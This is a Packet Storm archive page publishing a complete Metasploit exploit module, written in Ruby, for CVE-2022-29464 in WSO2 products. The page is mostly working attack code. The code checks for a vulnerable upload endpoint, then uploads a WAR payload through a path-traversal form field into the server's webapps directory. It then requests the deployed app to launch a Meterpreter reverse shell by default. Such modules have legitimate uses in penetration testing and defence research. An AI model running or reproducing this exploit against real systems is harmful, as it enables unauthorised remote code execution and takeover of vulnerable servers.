what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WSO Arbitrary File Upload / Remote Code Execution

WSO Arbitrary File Upload / Remote Code Execution
Posted May 2, 2022
Authored by Orange Tsai, wvu, hakivvi, Jack Heysel | Site metasploit.com

This Metasploit module abuses a vulnerability in certain WSO2 products that allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

tags | exploit, remote, code execution, file upload
advisories | CVE-2022-29464
SHA-256 | 7bdab9b3101da4ba2df8ff1f6a558171e4d8a503d4d44bcbaf0347587fa69a4d

WSO Arbitrary File Upload / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WSO2 Arbitrary File Upload to RCE',
'Description' => %q{
This module abuses a vulnerability in certain WSO2 products that allow unrestricted file
upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and
above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server
Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above
through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
},
'Author' => [
'Orange Tsai', # Discovery
'hakivvi', # analysis and PoC
'wvu', # PoC
'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2022-29464'],
[ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],
[ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],
[ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]
],
'DefaultOptions' => {
'Payload' => 'java/meterpreter/reverse_tcp',
'SSL' => true,
'RPORT' => 9443
},
'Privileged' => false,
'Targets' => [
[
'Java Dropper',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Type' => :java_dropper,
'DefaultOptions' => {
'WfsDelay' => 10
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-04-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),
OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
'method' => 'POST'
)

if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Unknown
end
end

def prepare_payload(app_name)
print_status('Preparing payload...')

war_payload = payload.encoded_war.to_s
fname = app_name + '.war'
path_traveral = '../../../../repository/deployment/server/webapps/' + fname
post_data = Rex::MIME::Message.new
post_data.add_part(war_payload,
'application/octet-stream', 'binary',
"form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")
post_data
end

def upload_payload(post_data)
print_status('Uploading payload...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s
)
if res && res.code == 200
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
end
end

def execute_payload(app_name)
res = nil
print_status('Executing payload... ')
retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do
print_status('Waiting for shell... ')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, app_name),
'method' => 'GET'
)
if res && res.code == 200
break
else
next
end
end

if res && res.code == 200
print_good('Payload executed successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
end
end

# Retry the block until it returns a truthy value. Each iteration attempt will
# be performed with expoential backoff. If the timeout period surpasses, false is returned.
def retry_until_true(timeout:)
start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
ending_time = start_time + timeout
retry_count = 0
while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
result = yield
return result if result

retry_count += 1
remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
break if remaining_time_budget <= 0

delay = 2**retry_count
if delay >= remaining_time_budget
delay = remaining_time_budget
vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
else
vprint_status("Sleeping for #{delay} seconds before attempting again")
end

sleep delay
end
end

def exploit
app_name = Rex::Text.rand_text_alpha(4..7)
data = prepare_payload(app_name)
upload_payload(data)
execute_payload(app_name)
end

end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close